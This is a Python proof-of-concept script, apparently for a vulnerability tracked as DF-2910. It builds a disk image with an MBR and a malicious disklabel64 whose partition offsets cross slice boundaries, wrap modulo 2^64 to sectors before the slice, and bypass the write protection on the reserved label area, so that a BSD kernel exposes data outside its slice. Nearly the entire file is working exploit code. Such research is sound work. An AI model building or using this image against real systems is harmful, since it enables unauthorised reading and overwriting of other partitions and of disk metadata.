#!/usr/bin/env python3
"""
DF-2910 PoC image generator (host-side, pure struct packing).

Crafts a 16 MiB disk image:
  - MBR with two slices:
      s1: type 0xA5 (DOSPTYP_386BSD), LBA 2048, 2048 sectors (1 MiB)  <- attacker slice
      s2: type 0x83 (Linux),          LBA 6144,   64 sectors (32 KiB) <- victim slice
  - victim marker at absolute sector 128 (the MBR gap, *before* any slice)
  - victim marker at slice2 LBA 6144
  - disklabel64 at slice1-relative byte 0 (d_magic lands at byte 512):
      d_total_size = 1 MiB, d_bbase = 4096 (=> ds_reserved = 8 sectors)
      partitions:
        'a' (i=0): p_boffset = 2 MiB            -> absolute LBA 6144 (slice2 start)
                                              [cross-slice, beyond the 1 MiB slice]
        'b' (i=1): p_boffset = 2^64 - 983040    -> (2048 + p_boffset/512)*512 wraps
                                                  mod 2^64 to absolute byte 65536
                                                  (sector 128, BEFORE the slice)
                                                  [wraparound slice escape]
        'c' (i=2): p_boffset = 2^64 - 2047*512  -> wraps to slice1-relative sector 1
                                                  (the on-disk label magic sector,
                                                  inside the EROFS-protected
                                                  ds_reserved area)
                                                  [reserved-area write-protection
                                                  bypass]
"""
import struct, zlib, sys

SEC = 512
IMG_SECS = 32768                      # 16 MiB
S1_LBA, S1_NSEC = 2048, 2048          # 1 MiB attacker slice
S2_LBA, S2_NSEC = 6144, 64            # 32 KiB victim slice
WRAP_TARGET_LBA = 128                 # marker in the MBR gap
LABEL_MAGIC = 0xC4464C59              # DISKMAGIC64
MAXPARTITIONS64 = 16
FS_OTHER = 9

img = bytearray(IMG_SECS * SEC)

# ---- markers ----------------------------------------------------------------
img[WRAP_TARGET_LBA*SEC:WRAP_TARGET_LBA*SEC+32] = b"SECTOR128-SECRET-MARKER!!!\n\x00\x00\x00\x00\x00"
img[S2_LBA*SEC:S2_LBA*SEC+32]        = b"SLICE2-SECRET-MARKER!!!!!!\n\x00\x00\x00\x00\x00"

# ---- MBR --------------------------------------------------------------------
mbr = bytearray(SEC)
def mbr_entry(idx, typ, lba, nsec):
    off = 446 + 16*idx
    mbr[off] = 0x00                    # not active
    mbr[off+1:off+4] = b"\xfe\xff\xff" # CHS start (ignored)
    mbr[off+4] = typ
    mbr[off+5:off+8] = b"\xfe\xff\xff" # CHS end (ignored)
    struct.pack_into("<I", mbr, off+8, lba)
    struct.pack_into("<I", mbr, off+12, nsec)
mbr_entry(0, 0xA5, S1_LBA, S1_NSEC)    # -> s1, BSD type => kernel label-probes it
mbr_entry(1, 0x83, S2_LBA, S2_NSEC)    # -> s2, victim
mbr[510:512] = b"\x55\xaa"
img[0:SEC] = mbr

# ---- disklabel64 (slice1-relative byte 0) ------------------------------------
def part(boffset, bsize, fstype=FS_OTHER):
    # struct partition64: Q Q B B B B I I I 16s 16s  (= 64 bytes exactly)
    return struct.pack("<QQBBBBIII16s16s",
                       boffset, bsize, fstype, 0, 0, 0, 0, 0, 0, b"\0"*16, b"\0"*16)

ds_off_bytes = S1_LBA * SEC
slice_total = S1_NSEC * SEC            # 1 MiB

# (ds_offset + slicerel)*512 mod 2^64 == target_abs_bytes; pick slicerel huge
# (>= 2^55) so the ds_reserved EROFS check at dscheck:227 never triggers.
# slicerel = rel_sector + k*2^55  =>  p_boffset = 512*rel_sector + k*2^60
def wrap_boff(target_abs_byte, ds_offset_bytes):
    rel = (target_abs_byte - ds_offset_bytes) // SEC       # slice-relative sector
    return (rel * SEC + (1 << 60)) % (1 << 64)             # k = 1

boff_a = (S2_LBA - S1_LBA) * SEC                    # 2 MiB, cross-slice (no wrap)
boff_b = wrap_boff(WRAP_TARGET_LBA*SEC, ds_off_bytes)
boff_c = wrap_boff((S1_LBA+1)*SEC, ds_off_bytes)    # label magic sector, rel sec 1

parts = b""
parts += part(boff_a, 8192)                          # 'a'
parts += part(boff_b, 8192)                          # 'b'
parts += part(boff_c, 8192)                          # 'c'
parts += part(0, 0, fstype=0) * (MAXPARTITIONS64 - 3)

hdr = struct.pack("<512sIIII16sQQQQQ64s64s",
    b"\0"*512,                        # d_reserved0
    LABEL_MAGIC,                      # d_magic
    0,                                # d_crc (patched below)
    512,                              # d_align
    MAXPARTITIONS64,                  # d_npartitions
    b"\0"*16,                         # d_stor_uuid
    slice_total,                      # d_total_size
    4096,                             # d_bbase  -> ds_reserved = 8 sectors
    4096,                             # d_pbase
    slice_total - 4096,               # d_pstop
    0,                                # d_abase
    b"pwn\x00" + b"\0"*60,            # d_packname
    b"\0"*64)                         # d_reserved

label = hdr + parts                   # 1736 bytes
assert len(label) == 1736, len(label)

crc = zlib.crc32(label[512:1736]) & 0xffffffff   # d_crc field is zero here
label = bytearray(label)
struct.pack_into("<I", label, 516, crc)          # offsetof(d_crc) = 516
label = bytes(label)

off = S1_LBA * SEC
img[off:off+len(label)] = label

out = sys.argv[1] if len(sys.argv) > 1 else "/tmp/opencode/df2910.img"
with open(out, "wb") as f:
    f.write(img)
print("wrote", out)
print("  crc            = 0x%08x" % crc)
print("  'a' p_boffset  = 0x%x (cross-slice -> abs LBA %d)" % (boff_a, S1_LBA + boff_a//SEC))
print("  'b' p_boffset  = 0x%x (wraps to abs LBA %d)" % (boff_b, WRAP_TARGET_LBA))
print("  'c' p_boffset  = 0x%x (wraps to slice-rel LBA 1 = label magic, EROFS area)" % boff_c)